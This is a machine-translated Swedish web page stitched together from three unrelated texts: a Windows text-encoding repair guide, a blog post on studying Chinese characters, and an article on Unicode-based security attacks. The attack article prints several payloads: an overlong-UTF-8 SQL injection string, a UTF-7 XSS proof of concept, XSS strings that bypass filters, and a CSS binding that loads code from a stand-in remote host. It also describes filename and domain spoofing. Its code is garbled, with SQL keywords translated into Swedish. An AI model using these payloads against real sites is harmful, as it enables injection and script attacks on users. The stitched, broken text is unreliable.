Maskerad av karaktärer: unicode-orienterade säkerhetsaspekter. Istället för filer "hieroglyfer" (oförståeliga tecken) på en USB-flashenhet Windows i olika Windows-applikationer

Krakozyabry Vad är ett intressant ord? Detta ord används vanligtvis av ryska användare för att referera till felaktig/felaktig visning (kodning) av tecken i program eller själva operativsystemet.
Varför händer detta? Du hittar inte ett enda svar. Detta kan bero på tricken från våra "favorit" virus, det kan bero på ett fel i Windows OS (till exempel ström gick ut och datorn stängdes av), kanske programmet skapade en konflikt med ett annat eller OS och allt "flög". I allmänhet kan det finnas många anledningar, och det mest intressanta är "Det tog det bara och gick sönder sådär."
Vi läser artikeln och tar reda på hur man fixar kodningsproblemet i program och Windows OS, sedan det hände.

För de som fortfarande inte förstår vad jag menar, här är några:


Förresten, jag hamnade också i den här situationen en gång och det finns fortfarande en fil på skrivbordet som hjälpte mig att hantera det. Därför bestämde jag mig för att skriva den här artikeln.

Flera "saker" är ansvariga för att visa kodningen (teckensnittet) i Windows - dessa är språket, registret och filerna för själva operativsystemet. Nu ska vi kontrollera dem separat och punkt för punkt.

Hur man tar bort och fixar krakozyabry istället för ryska (ryska bokstäver) i ett program eller Windows.

1. Kontroll installerat språk för program som inte stöder Unicode. Han kanske har tappat bort dig.

Så låt oss gå längs vägen: Kontrollpanelen - Regionala och språkalternativ - fliken Avancerat
Där letar vi efter att språket ska vara ryska.


I Windows XP, utöver detta, finns längst ner en lista "Kodsidor för konverteringstabeller" och det finns en rad med numret 20880 i den. Det är nödvändigt att det också fanns en ryss

6. Den sista punkten där jag ger dig en fil som hjälpte mig att fixa allt en gång och det var därför jag lämnade den som en minnessak. Här är arkivet:

Det finns två filer inuti: krakozbroff.cmd och krakozbroff.reg

Deras princip är densamma - att fixa hieroglyfer, rutor, frågor eller utropstecken i program och Windows OS med alla medel (gemensamt krakozyabry). Jag använde den första och den fungerade för mig.

Och till sist ett par tips:
1) Om du arbetar med registret, glöm inte att göra en säkerhetskopia ( säkerhetskopiering) om något går fel.
2) Det är lämpligt att kontrollera den första posten efter varje artikel.

Det är allt. Nu vet du hur du fixar bort / fixar Krakozyabry (rutor, hieroglyfer, utropstecken och frågetecken) i ett program eller Windows.

Uppmärksamhet!!! Gör dig redo, artikeln blir lång. Du kan bli trött och somna, så luta dig tillbaka, ta en kopp kaffe och låt oss sätta igång.


Att lära sig kinesiska tecken är en viktig del av att lära sig själva språket. Det finns många sätt, medel och idéer om hur man kan studera dem. Den här artikeln kommer att diskutera några av dem. Olika människor, beroende på deras mål, lär dem på olika sätt.
Till exempel, någon vill bara veta ett visst antal tecken. Andra vill läsa texten i hieroglyfer. Andra vill inte bara läsa, utan också kunna skriva hieroglyfer. Och så finns det de som ska spela in på kinesiska eller skriva texter. Återigen, skriv för hand, eftersom det är mycket lättare att skriva dem med datorn.
Det är värt att notera att den moderna anställningen av en person inte tillåter en att helt kasta sig in i inlärningsprocessen utan distraktioner. Det är särskilt svårt för den som studerar språket på egen hand och "när det är möjligt". Det är värt att välja ett sätt att studera hieroglyfer individuellt. De som är begränsade i tid vill förmodligen hitta en bekväm applikation för sin enhet för att "knagga på vetenskapens granit" på fritiden. Tja, för dem som lär sig språket, hur ska allt vara en specialitet, men vem vill inte förkorta tiden för att skaffa sig färdigheter?
Jag ska tillägga att att lära sig en hieroglyf kan betyda olika saker för olika människor. I full mening betyder att lära sig en hieroglyf att känna till dess uttal, stavning och betydelse. Så, på vilka sätt kan du utveckla alla dessa färdigheter och behärska kinesiska tecken? Låt oss börja med papper, sedan elektroniskt.

1. Förskrivning av hieroglyfer.

Ett traditionellt sätt att lära sig hieroglyfer, beprövat av miljontals kineser. Man måste komma ihåg att de föreskriver hieroglyfer under hela skolans gång. Det är inte ett par år. Så, fördelarna med metoden:
- visuellt, muskelminne är inblandat;
- färdigheten att skriva, handstil utvecklas;
- studie av hieroglyfer i slumpmässig ordning;
- förmågan att återgå till det som skrevs omedelbart;
- Övrig.

Av nackdelarna kan identifieras:
- Kräver papper och ett skrivinstrument;
- det tar mycket tid att skriva en hieroglyf;
- du behöver lagra mycket papper;
- du behöver plats och tid för ett kvalitetsupplägg på övningarna.
- Övrig.

Du kan skriva hieroglyfer i en vanlig anteckningsbok med en vanlig penna. De som har ett grundligare förhållningssätt till detta ordineras i särskilda recept. Om hur man skriver hieroglyfer, samt exempel på elementärt skrivande, var. En mer avancerad ritningsmetod är mönsterritning. De är också olika.

1. Mall. Det kan se annorlunda ut, men essensen är densamma. Ett spårpapper läggs ovanpå texten, på vilket hieroglyfer är skrivna. Problemet är att i en sådan mall finns inget uttal av hieroglyfer, det vill säga att bara igenkänning av bekanta och kalligrafi tränas.


2. Mall. Förskrivning sker enligt den specificerade sekvensen av funktioner. Betydelsen av hieroglyfer ges också. Uttalet förblir bakom kulisserna.

3. Det finns andra recept, det tar lång tid att beskriva. Här är länkarna du kan ladda ner och skriva ut.

2. Associativ metod.

Kärnan i metoden är enkel. Kom på hur hieroglyfen ser ut och koppla på något sätt den här bilden med hieroglyfens betydelse och uttal. var . Du kan skriva ner alla associationer i en anteckningsbok och återgå till dem för upprepning.
Här kan du också inkludera utvecklingen av hieroglyfer med hjälp av nycklarna. Skillnaden är att associationer blir konkreta snarare än abstrakta. Men först måste du behärska nycklarna. Jag skrev om det i den här artikeln, och det fanns också i den här artikeln. Du kan kombinera associationer och ordinera hieroglyfer. Men det tar också mycket tid. Men det kommer att minnas länge.
Mer om detta stod däremot i den här artikeln.

3. Kort.

De är flash-kort. Summan av kardemumman är att hieroglyfer är skrivna eller helt enkelt tryckta på korten. På baksidan deras betydelse, uttal eller båda. Det hjälper inte alla, det tar plats, det tar mycket tid att klassificera och gärna ett bra visuellt minne. Här är några av mina gamla samlingar:


Förresten, det hjälper en del när de lär sig av ett program från läroböcker som ger sekvenser för att skriva hieroglyfer. Dessa kan vara läroböcker av Zadoenko, Kondrashevsky och andra.


Kanske. en erfaren student i det kinesiska språket kommer att kunna ge andra "pappers" sätt att bemästra och memorera hieroglyfer. Men jag bestämde mig för att hålla fast vid ovanstående tills vidare. Låt oss gå vidare till elektroniska.

1.Flash-kort.

Folket insåg att flera tusen hieroglyfer är en stor mängd kort. Hel låda! Det är även möjligt i i elektroniskt format gör dem. Skapade alla möjliga program som olika plattformar ah reproducera dessa kort.

Alla som är intresserade av denna metod bör bekanta sig med programmet. Även för en amatör. Utskjutande upprepning av bilder är också associerat med visuellt minne. Alla är inte lika bra på det. Men inte bara japanska och kinesiska kan undervisas. Dessutom finns applikationen tillgänglig för olika plattformar.

Det finns andra tillämpningar av samma karaktär. Här citerades till exempel en sådan ansökan på Magazetas webbplats: en länk till artikeln.

2. Karaktärsprocessorer.

En gång försökte jag bekanta mig med hieroglyfer med hjälp av NJStar-programmet. Hjälpte inte mycket, men någon kanske tycker att det är användbart på sin dator. Här . I det här programmet kan du skriva in hieroglyfer med musen.

3. Online översättare.

Google Translate har en pekskärmsinmatningsfunktion. Där kan du skriva hieroglyfer med fingret direkt på din mobila enhet. Internet krävs. Det finns inget tydligt memoreringsprogram, bara förmågan att skriva inte på papper. Detsamma gäller för musinmatning av hieroglyfer i Internetordböcker som www.bkrs.info. Bredvid sökfältet finns en knapp för manuell inmatning, den syns ibland inte på grund av temat runt raden, men den är definitivt till höger. Du kan skriva in en hieroglyf med musen och titta på dess betydelse, ibland lyssna på uttalet. Eliminerar skrivning på papper.

4. Andra program.

Annan programvara kan hittas på Internet. Jag har inte testat allt så jag kan inte beskriva så mycket. Men jag vill säga några ord om MAO-systemet. Jag gillade inte metoden för att memorera hieroglyfer, men jag bestämde mig ändå för att ta med den i den här artikeln, eftersom det finns en applikation "MAOcard". Ja, och någon kan uppskatta detta system över mig. Länk...

Vi fortsätter...

Du kan fortfarande skriva om detta, men för att åtminstone spara min tid kommer jag att ge en länk till sidan från Magazeta, där författaren tillhandahåller en hel massa användbar programvara för olika plattformar. Det finns bland allt och applikationer för att lära sig och upprepa hieroglyfer. Men jag skulle ändå vilja betona att det är en sak att upprepa eller komma ihåg hieroglyfer, och en helt annan sak att komma ihåg. Det verkar vara vettigt när du antingen kan orden men inte kan läsa, eller så lär du dig både ord och tecken samtidigt. För dessa ändamål är speciella applikationer lämpliga.

Jag skulle specifikt vilja nämna applikationen för Android-plattformen "Chineskill" . Det utvecklas och, enligt min mening, kombinerar det många fördelar. Studiet av hieroglyfer går hand i hand med studiet av ordförråd och grammatik. Skriv och uttal ord måste. Ibland för hand, med ett finger. Kanske är det här du behöver...

En annan app jag rekommenderar för elever kinesiska och, in specifikt hieroglyfer, är applikationen "Chinese Writer". jag har redan gjort det kort beskrivning den här applikationen. Men jag kommer att säga att även med några olägenheter, som en ticker längst ner på skärmen med information om hieroglyfen, är applikationen utmärkt. Du kan titta på hieroglyfer, lära dig hur du skriver dem, testa dig själv i spelet och mer. Enligt min mening måste du ha detta i din enhet ... Det finns betal- och gratisversioner.

Slutsats.

Avslutningsvis kommer jag att säga att jag inte kunde lista allt som fanns på min smartphone och surfplatta. jag försökte olika program men tyvärr, ingen är perfekt. Eller jag kanske inte har hittat den än. Men det jag har listat ovan är värt ett försök. På ett eller annat sätt är allt detta bara ett sätt att skriva in hieroglyfer i ditt minne. Men hur hon kommer att uppfatta dem, om hon vill ge dem tillbaka senare - det är en annan fråga. Därför rekommenderar jag, förutom att studera själva hieroglyferna, att få tillräckligt med sömn och träna upp ditt minne. Tack för att du läser till slutet, nu är din förståelse av frågan förmodligen bredare.

Jag tror att du har stött på bedrifter som klassificeras som Unicode mer än en gång, letat efter rätt kodning för att visa sidan, gläds åt nästa krakozyabry här och där. Ja, man vet aldrig vad mer! Om du vill veta vem som startade allt det här röret och fortfarande gör det än i dag, spänn fast säkerhetsbältena och läs vidare.

Som de säger, "initiativet är straffbart" och som alltid var amerikanerna skyldiga till allt.

Och det var så. I början av datorindustrins storhetstid och Internets spridning fanns det ett behov av ett universellt teckenrepresentationssystem. Och på 60-talet av förra seklet dök ASCII upp - "American Standard Code for Information Interchange" (American Standardkod för informationsutbyte), den välbekanta 7-bitars teckenkodningen. Den sista åttonde oanvända biten lämnades som en kontrollbit för att anpassa ASCII-tabellen för att passa behoven hos varje datorkund i en viss region. En sådan bit gjorde att ASCII-tabellen kunde utökas för att använda sina egna tecken för varje språk. Datorer levererades till många länder, där de redan använde sitt eget modifierade bord. Men senare förvandlades denna funktion till en huvudvärk, eftersom utbytet av data mellan datorer blev ganska problematiskt. Ny 8-bit teckentabeller var inkompatibla med varandra - samma kod kan betyda flera olika tecken. För att lösa detta problem föreslog ISO ("International Organization for Standardization", International Organization for Standardization). nytt bord, nämligen "ISO 8859".

Senare döptes denna standard om till UCS ("Universal Character Set", Universal Character Set). Men när UCS först släpptes hade Unicode kommit. Men eftersom målen och målen för båda standarderna sammanföll beslutades det att gå samman. Tja, Unicode har tagit på sig den skrämmande uppgiften att ge varje karaktär en unik beteckning. För tillfället är den senaste versionen av Unicode 5.2.

Jag vill varna dig - i själva verket är historien med kodningar väldigt lerig. Olika källor ger olika fakta, så häng dig inte på en sak, var bara medveten om hur allt bildades och följ moderna standarder. Vi är, hoppas jag, inte historiker.

Kraschkurs unicode

Innan jag fördjupar mig i ämnet skulle jag vilja förtydliga vad Unicode är i tekniska termer. Mål denna standard vi vet redan, det återstår bara att lappa ihop materielen.

Så vad är Unicode? Enkelt uttryckt är detta ett sätt att representera vilket tecken som helst i form av en specifik kod för alla språk i världen. senaste versionen Standarden innehåller cirka 1 100 000 koder, som upptar utrymmet från U+0000 till U+10FFFF. Men var försiktig här! Unicode definierar strikt vad en teckenkod är och hur den koden kommer att representeras i minnet. Teckenkoder (säg 0041 för tecknet "A") har ingen betydelse, men det finns en logik för att representera dessa koder som bytes, kodningar gör detta. Unicode-konsortiet erbjuder följande typer av kodningar, kallade UTF (Unicode Transformation Formats). Och här är de:

  • UTF-7: Denna kodning rekommenderas inte av säkerhets- och kompatibilitetsskäl. Beskrivs i RFC 2152. Inte en del av Unicode, men introducerad av detta konsortium.
  • UTF-8: Den vanligaste kodningen på webben. Det är en variabel, från 1 till 4 byte bred. Bakåtkompatibel med protokoll och program som använder ASCII. Upptar området U+0000 till U+007F.
  • UTF-16: Använder en variabel bredd på 2 till 4 byte. Den vanligaste användningen är 2 byte. UCS-2 är samma kodning, endast med en fast bredd på 2 byte och begränsad till BMP-gränser.
  • UTF-32: Använder en fast bredd på 4 byte, dvs 32 bitar. Dock används endast 21 bitar, de återstående 11 är fyllda med nollor. Även om denna kodning är besvärlig i termer av utrymme, anses den vara den mest effektiva när det gäller hastighet på grund av 32-bitars adressering i moderna datorer.

Den närmaste motsvarigheten till UTF-32 är UCS-4-kodning, men används mindre vanligt idag.

Trots att UTF-8 och UTF-32 kan representera lite mer än två miljarder tecken, beslutades det att begränsa det till en miljon och en svans - för kompatibilitetens skull med UTF-16. Hela kodutrymmet är grupperat i 17 plan, var och en med 65536 symboler. De mest använda symbolerna finns i nollbasplanet. Kallas BMP - Basic MultiPlane.
En dataström i UTF-16- och UTF-32-kodningar kan representeras på två sätt - little endian och little endian, som kallas UTF-16LE/UTF-32LE, UTF16BE/UTF-32BE, respektive. Som du gissade, LE är liten endian och BE är big-endian. Men man måste på något sätt kunna skilja mellan dessa order. För att göra detta, använd byteordermärket U + FEFF, i den engelska versionen - BOM, "Byte Order Mask". Denna stycklista kan också förekomma i UTF-8, men den betyder ingenting där.

För bakåtkompatibilitetens skull var Unicode tvungen att rymma tecken från befintliga kodningar. Men här uppstår ett annat problem - det finns många varianter av identiska karaktärer som måste bearbetas på något sätt. Därför behövs den så kallade "normaliseringen", varefter det redan är möjligt att jämföra två strängar. Totalt finns det 4 former av normalisering:

  • Normaliseringsform D (NFD): kanonisk nedbrytning.
  • Normaliseringsform C (NFC): kanonisk nedbrytning + kanonisk sammansättning.
  • Normaliseringsform KD (NFKD): kompatibel sönderdelning.
  • Normaliseringsform KC (NFKC): kompatibel sönderdelning + kanonisk sammansättning.

Nu mer om dessa konstiga ord.

Unicode definierar två typer av stränglikhet - kanonisk och kompatibilitet.

Den första involverar nedbrytningen av en komplex symbol i flera separata figurer, som som helhet bildar den ursprungliga symbolen. Den andra likheten letar efter närmaste matchande karaktär. Och komposition är en kombination av symboler från olika delar, nedbrytning är den motsatta handlingen. I allmänhet, titta på bilden, allt kommer att falla på plats.

Av säkerhetsskäl bör normalisering göras innan strängen skickas in för kontroll av något filter. Efter denna operation kan textstorleken ändras, vilket kan få negativa konsekvenser, men mer om det senare.

I termer av teori, det är allt, jag har inte berättat mycket ännu, men jag hoppas att jag inte har missat något viktigt. Unicode är ofattbart stort, komplexa, tjocka böcker publiceras på den, och det är mycket svårt att kondensera, förståeligt och fullständigt förklara grunderna för en så besvärlig standard. I alla fall, för en djupare förståelse, bör du gå igenom sidolänkarna. Så när bilden med Unicode har blivit mer eller mindre tydlig kan vi gå vidare.

visuellt bedrägeri

Du har säkert hört talas om IP/ARP/DNS-spoofing och har en bra uppfattning om vad det är. Men det finns också den så kallade "visuella spoofing" - detta är samma gamla metod som nätfiskare aktivt använder för att lura offer. I sådana fall används liknande bokstäver, som "o" och "0", "5" och "s". Detta är det vanligaste och enklaste alternativet, och det är lättare att märka. Ett exempel är PayPals nätfiskeattack år 2000, som till och med nämns på www.unicode.org-sidorna. Detta är dock av liten relevans för vårt Unicode-ämne.

För de mer avancerade killarna har Unicode dykt upp vid horisonten, närmare bestämt IDN, som är en akronym för "Internationalized Domain Names" (Internationalized Domain Names). IDN tillåter användning av nationella alfabettecken i domännamn. Domännamnsregistratorer positionerar det som en bekväm sak, säger de, ringa Domän namn på ditt eget språk! Denna bekvämlighet är dock mycket tveksam. Okej, marknadsföring är inte vårt ämne. Men tänk vilket utrymme det är för nätfiskare, SEO:are, cybersquatters och andra onda andar. Jag pratar om en effekt som heter IDN-spoofing. Denna attack tillhör kategorin visuell spoofing, i den engelska litteraturen kallas det också för "homograph attack", det vill säga attacker med hjälp av homografer (ord som är lika i stavning).

Ja, när du skriver bokstäver kommer ingen att göra ett misstag och kommer inte att skriva en medvetet falsk domän. Men för det mesta klickar användare på länkar. Om du vill bli övertygad om attackens effektivitet och enkelhet, titta på bilden.

IDNA2003 uppfanns som ett slags universalmedel, men redan i år, 2010, trädde IDNA2008 i kraft. Det nya protokollet var tänkt att lösa många av problemen med den unga IDNA2003, men introducerade nya möjligheter för falska attacker. Kompatibilitetsproblem uppstår igen - i vissa fall kan samma adress i olika webbläsare leda till olika servrar. Faktum är att Punycode kan konverteras på olika sätt för olika webbläsare- allt kommer att bero på vilka standardspecifikationer som stöds.
Problemet med visuellt bedrägeri slutar inte där. Unicode kommer också till tjänst för spammare. Vi pratar om spamfilter - spammare kör de ursprungliga bokstäverna genom en Unicode-obfuscator som letar efter tecken i olika nationella alfabet som liknar varandra med hjälp av den så kallade UC-Simlist ("Unicode Similarity List", en lista med liknande Unicode tecken). Och det är allt! Antispamfiltret misslyckas och kan inte längre känna igen något meningsfullt i en sådan röra av tecken, men användaren är ganska kapabel att läsa texten. Jag förnekar inte att en lösning på ett sådant problem har hittats, men spammare är i täten. Tja, och något annat från samma serie av attacker. Är du säker på att du öppnar en textfil, och du har inte att göra med en binär?

I figuren, som du kan se, har vi en fil som heter evilexe. Text. Men det är falskt! Filen heter egentligen eviltxt.exe. Du frågar, vad är detta för skräp inom parentes? Och detta, U + 202E eller RIGHT-TO-LEFT OVERRIDE, den så kallade Bidi (från ordet dubbelriktad) är en Unicode-algoritm för att stödja språk som arabiska, hebreiska och andra. Den senare skriver trots allt från höger till vänster. Efter att ha satt in Unicode-tecknet RLO, kommer allt som kommer efter RLO att se in omvänd ordning. Som ett exempel den här metoden från det verkliga livet kan jag citera en spoofingattack i Mozilla Firfox - cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3376 .

Filterbypass - Steg #1

Det är redan idag känt att UTF-8 icke-kortaste formulär inte kan behandlas, eftersom detta är en potentiell sårbarhet. PHP-utvecklare kan dock inte resoneras med detta. Låt oss se vad det här felet är. Du kanske minns fel filtrering och utf8_decode(). Här kommer vi att överväga detta fall mer i detalj. Så vi har den här PHP-koden:

// ... steg 1
$id = mysql_real_escape_string($_GET["id"]);
// ... steg 2
$id = utf8_decode($id);
// ... steg 3
mysql_query("VÄLJ "namn" FRÅN "deadbeef"
WHERE "id"="$id"");

Vid första anblicken stämmer allt här. På något sätt, men inte riktigt - det finns en SQL-injektion här. Låt oss föreställa oss att vi klarade följande sträng:

/index.php?id=%c0%a7 ELLER 1=1/*

I det första steget innehåller inte raden något som kan innebära problem. Men det andra steget är nyckeln, de två första tecknen i strängen omvandlas till en apostrof. Jo, på den tredje prasslar du redan genom databasen med makt och huvud. Så vad hände i det andra steget, varför ändrades symbolerna plötsligt? Låt oss försöka lista ut det, läs vidare noggrant.

Om du konverterar %c0 och %a7 till deras binära värden får du 11000000 respektive 10100111. Apostrof har det binära värdet 00100111. Titta nu på UTF-8-kodningstabellen.

De inledande nollorna och ettorna rapporterar längden på tecknet och ägandet av byten. Än så länge passar vår apostrof in i en byte, men vi vill öka den till två (åtminstone, men mer är möjligt), det vill säga att ta formen som på den andra raden.

Då måste du ta en sådan första oktett så att de tre första bitarna är 110, vilket talar om för avkodaren att strängen är bredare än 1 byte. Och med den andra oktetten är det inte svårare - vi kommer att ersätta de två första nollorna med 1 och 0. Voila! Vi fick 11000000 10100111, vilket är %c0%a7.

Den här sårbarheten kanske inte hittas vid varje steg, men man bör komma ihåg att om funktionerna är placerade i denna ordning, kommer varken addslashes(), mysql_real_escape_string(), eller magic_quotes_qpc att hjälpa. Och så kan du dölja inte bara apostrof, utan också många andra karaktärer. Speciellt eftersom det inte bara är PHP som hanterar UTF-8-strängar felaktigt. Med tanke på ovanstående faktorer utökas attackomfånget kraftigt.

Filterbypass - Steg #2

Sårbarheten av denna typ ligger i den helt lagliga förklädnaden av en giftig sträng under sken av en annan kodning. Titta på följande kod:

/**
* UTF-7 XSS PoC
*/
header("Content-Type: text/html;
charset=UTF-7");
$str = "";
$str = mb_convert_encoding($str,
"UTF-7");
echo htmlentities($str);

Egentligen händer följande här - den första raden skickar en rubrik till webbläsaren med ett meddelande om vilken typ av kodning vi behöver. Nästa par konverterar helt enkelt strängen till detta:

ADw-script+AD4-alert("UTF-7 XSS")+ADsAPA-/script+AD4

På den sista - något som ett filter. Filtret kan vara mer komplicerat, men det räcker för att vi ska visa en lyckad traversering för de flesta primitiva fall. Det följer av detta att du inte ska tillåta användaren att kontrollera kodningar, eftersom även sådan kod är en potentiell sårbarhet.

Om du är osäker, kasta ett fel och sluta fungera, och för att undvika problem är det korrekt att tvinga datautmatningen till UTF-8-kodning. Från praktiken är ett fall av en attack mot Google välkänt, där en hackare lyckades utföra en XSS-attack genom att manuellt ändra kodningen till UTF-7.

Den ursprungliga källan till attack mot Google med denna metod är sla.ckers.org/forum/read.php?3,3109.

Filterbypass - Steg #3

Unicode varnar: Överanvändning av symboler skadar din säkerhet. Låt oss prata om en sådan effekt som "ätsymboler". Anledningen till en lyckad attack kan vara en avkodare som inte fungerar korrekt: som till exempel i PHP. Standarden skriver att om ett vänstertecken (dåligt format) påträffas under konverteringen, så är det lämpligt att ersätta tvivelaktiga tecken med frågetecken, ett mellanslag med U+FFFD, sluta tolka etc., men ta inte bort efterföljande tecken . Om du fortfarande behöver ta bort en karaktär måste du göra det försiktigt.

Felet är att PHP kommer att tugga fel UTF-8-tecken tillsammans med nästa. Och detta kan redan leda till att man kringgår filtret med efterföljande exekvering av JavaScript-kod, eller till SQL-injektion.

I det ursprungliga meddelandet om sårbarheten, på bloggen till hackern Eduardo Vela aka sirdarckcat, finns ett mycket bra exempel, och vi kommer att överväga det, bara ändra det lite. Enligt scenariot kan användaren infoga bilder i sin profil, det finns följande kod:

// ... mycket kod, filtrering ...
$namn = $_GET["namn"];
$länk = $_GET["länk"];
$image = " src="http://$länk" />";
echo utf8_decode($bild);
Och nu skickar vi följande förfrågan:
/?name=xxx%f6&link=%20
src=javascript:onerror=alert(/
xss/)//

Efter alla transformationer kommer PHP att returnera detta till oss:

Vad hände? Variabeln $name fick ett ogiltigt UTF-8-tecken 0xF6, som, efter att ha konverterats till utf8_decode(), åt 2 efterföljande tecken, inklusive det avslutande citatet. http://-stubben ignorerades av webbläsaren och följande JavaScript-kod kördes framgångsrikt. Jag testade denna attack i Opera, men ingenting hindrar oss från att göra den universell, det här är bara ett bra exempel på hur skydd kan kringgås i vissa fall.

Från denna serie av attacker, men utan PHP-funktionernas konstiga beteende, kan vi ge ytterligare ett exempel på att kringgå filter. Låt oss föreställa oss att WAF/IPS inte skickar rader från den svarta listan, men viss efterföljande bearbetning av rader av avkodaren tar bort tecken som är främmande för ASCII-intervallet. Därefter kommer följande kod fritt in i avkodaren:

alert\uFEFFt("XSS")

Och redan utan \uFEFF kommer det att vara där angriparen skulle vilja se det. Du kan åtgärda det här problemet helt enkelt genom att tänka igenom logiken i strängbearbetning - som alltid måste filtret fungera med den data som är i det sista steget av dess bearbetning. Förresten, om du kommer ihåg, då är \uFEFF BOM, som jag redan skrivit om. FireFox påverkades av denna sårbarhet - mozilla.org/security/announce/2008/mfsa2008-43.html

Filterbypass - Steg #4

Vi kan säga att den typ av attack som kommer att diskuteras nu är visuell spoofing, en attack för alla typer av IDS/IPS, WAF och andra filter. Jag pratar om den så kallade "bestfit mapping" Unicode-algoritmen. Denna "bästa passform"-metod uppfanns för de fall där ett specifikt tecken saknas vid konvertering från en kodning till en annan, men något måste infogas. Det är då man söker efter en, som visuellt kan likna den önskade.

Låt den här algoritmen uppfinnas av Unicode, men detta är bara ytterligare en tillfällig lösning som kommer att leva på obestämd tid. Allt beror på omfattningen och hastigheten på övergången till Unicode. Själva standarden rekommenderar att man endast tar till best-fit kartläggning som en sista utväg. Transformationens beteende kan inte strikt regleras och generellt generaliseras på något sätt, eftersom det finns för många olika likhetsvariationer även för en karaktär - allt beror på karaktären, på kodningarna.

Låt oss säga att oändlighetssymbolen kan omvandlas till en åttasiffra. De ser likadana ut, men har helt olika syften. Eller ett annat exempel - tecknet U + 2032 omvandlas till ett citat. Jag tror att du förstår vad det betyder.

Informationssäkerhetsspecialisten Chris Weber har experimenterat med detta ämne - hur går det för sociala nätverk med filter och den bästa visningsalgoritmen? På sin hemsida beskriver han ett exempel på bra men inte tillräckligt filtrering av ett socialt nätverk. I profilen kunde du ladda upp dina stilar, som kontrollerades noggrant.

Utvecklarna såg till att inte missa den här raden: ?moz?binding: url(http://nottrusted.com/gotcha.xml#xss)
Chris kunde dock kringgå detta skydd genom att ersätta det allra första tecknet med ett minus, vars kod är U+2212. Efter att den bästa algoritmen fungerade ersattes minustecknet med en skylt med koden U+002D, ett tecken som gjorde att CSS-stilen kunde fungera, vilket öppnade upp möjligheter för en aktiv XSS-attack. Det är värt att undvika all magi, men det finns mycket av det. Tills i sista stund är det omöjligt att förutsäga vad tillämpningen av denna algoritm kommer att leda till. I bästa fall kan det bli teckenförlust, i värsta fall körning av JavaScript-kod, tillgång till godtyckliga filer, SQL-injektion.

Buffer-överflöde

Som jag redan skrivit bör du vara försiktig med normalisering på grund av onormal sammandragning och expansion av strängen. Den andra konsekvensen leder ofta till ett buffertspill. Programmerare jämför felaktigt stränglängder och glömmer Unicode-funktionerna. I grund och botten, att ignorera eller missförstå följande fakta leder till ett fel:

  1. Strängar kan expandera när du byter skiftläge - från övre till nedre eller vice versa.
  2. NFC-normaliseringsformen är inte alltid "kollektiv", vissa tecken kan tolkas.
  3. När du konverterar tecken från ett till ett annat kan texten växa tillbaka. Det vill säga hur mycket strängen expanderar beror på själva data och kodningen.

I princip, om du vet vad ett buffertspill är, så är allt som alltid. Nästan:). Helt enkelt, om vi pratar om Unicode-strängar, kommer tecknen oftast att vara utfyllda med nollor. För exemplets skull kommer jag att ge tre rader.

Vanlig linje:

I ASCII-kodning:

I Unicode-kodning:

\x41\x00\x42\x00\x43\x00

Det kommer inte att finnas några nollbytes där källsträngarna ligger utanför intervallet för ASCII-strängar, eftersom de upptar hela intervallet. Som ni vet är nollbyte ett hinder för framgångsrik skalkodsoperation. Det är därför man länge trodde att Unicode-attacker var omöjliga. Men denna myt förstördes av Chris Anley, han kom på den så kallade "venetianska metoden" som låter dig ersätta nullbyte med andra karaktärer. Men det här ämnet förtjänar en separat artikel, och det finns redan en hel del bra publikationer - bara googla på "venetian exploit". Du kan också titta igenom artikel 45 i specialnumret av tidningen Hacker - "Unicode-Buffer Overflows", det finns en bra text om att skriva en Unicode-skalkod.

Andra glädjeämnen

Ja, ja, detta är inte slutet på Unicode-relaterade sårbarheter. Jag har bara beskrivit de som faller under de viktigaste, välkända klassificeringarna. Det finns också andra säkerhetsproblem, allt från irriterande buggar till riktiga intrång. Dessa kan vara attacker av visuell karaktär, till exempel om registreringssystemet felaktigt behandlar användarens inloggning, då är det möjligt att skapa ett konto från karaktärer som visuellt inte går att särskilja från namnet på offret, vilket underlättar nätfiske eller sociala ingenjörsattacker . Och kanske ännu värre - auktoriseringssystemet (inte att förväxla med autentisering) ger rättigheter med förhöjda privilegier, utan att skilja mellan teckenuppsättningen i angriparens och offrets inloggning.

Om du går ner till nivån för applikationer eller operativsystem, så manifesterar buggar sig i felaktigt konstruerade algoritmer relaterade till konvertering - dålig normalisering, överdrivet lång UTF-8, radering och ätning av tecken, felaktig teckenkonvertering, etc. Allt detta leder till det bredaste utbudet av attacker - från XSS till fjärrkörning av kod.

Generellt sett, när det gäller fantasi, begränsar Unicode dig inte på något sätt, utan tvärtom, det stödjer bara dig. Många av ovanstående attacker kombineras ofta och kombinerar filterbypass med en attack på ett specifikt mål. Att kombinera affärer med nöje så att säga. Dessutom står standarden inte stilla och vem vet vad nya tillägg kommer att leda till, eftersom det fanns de som senare uteslöts helt på grund av säkerhetsproblem.

lyckligt slut?!

Så, som du kan föreställa dig, är Unicode-problem fortfarande problemet nummer ett och orsaken till alla typer av attacker. Och det finns bara en rot till ondskan - att missförstå eller ignorera standarden. Naturligtvis syndar även de mest kända försäljarna med detta, men detta bör inte slappna av. Tvärtom är det värt att tänka på problemets omfattning. Du har redan lyckats se till att Unicode är ganska lömsk och förväntar dig en hake om du ger upp och inte tittar in i standarden i tid. Standarden uppdateras förresten regelbundet och därför bör du inte lita på gamla böcker eller artiklar - föråldrad information är värre än dess frånvaro. Men jag hoppas att den här artikeln inte har lämnat dig likgiltig för problemet.

Punycode - kompatibilitetens skelett

DNS tillåter inte användning av andra tecken än latin, siffror och bindestreck i domännamn; för DNS används en "avkortad" ASCII-tabell.

Därför, för bakåtkompatibilitetens skull, måste en sådan flerspråkig Unicode-domän konverteras till det gamla formatet. Denna uppgift tas över av användarens webbläsare. Efter transformationer förvandlas domänen till en uppsättning tecken med prefixet "xn--" eller, som det också kallas, "Punycode". Till exempel, domänen "hacker.ru" efter att ha konverterats till Punycode ser ut så här: "xn--80akozv.ru". Läs mer om Punycode i RFC 3492.

info

IDNA - IDN i applikationer (IDN i applikationer) är ett protokoll som löser många problem genom att tillåta användning av flerspråkiga domännamn i applikationer. Den uppfanns av IETF, för närvarande finns det bara RFC av den gamla versionen av IDNA2003 - RFC 3490. Den nya standarden är inkompatibel med den tidigare.

Länkar

  • unicode.org är den officiella webbplatsen för Unicode Consortium. Alla svar om ett ömt ämne hittar du här.
  • macchiato.com/main - många användbara onlineverktyg för att arbeta med Unicode.
  • fiddler2.com/fiddler2 - Fiddler, en kraftfull, utbyggbar HTTP-proxy.
  • websecuritytool.codeplex.com - Fiddler-plugin för passiv analys av HTTP-trafik.
  • lookout.net - Chris Webers webbplats för Unicode, webben och mjukvarugranskning.
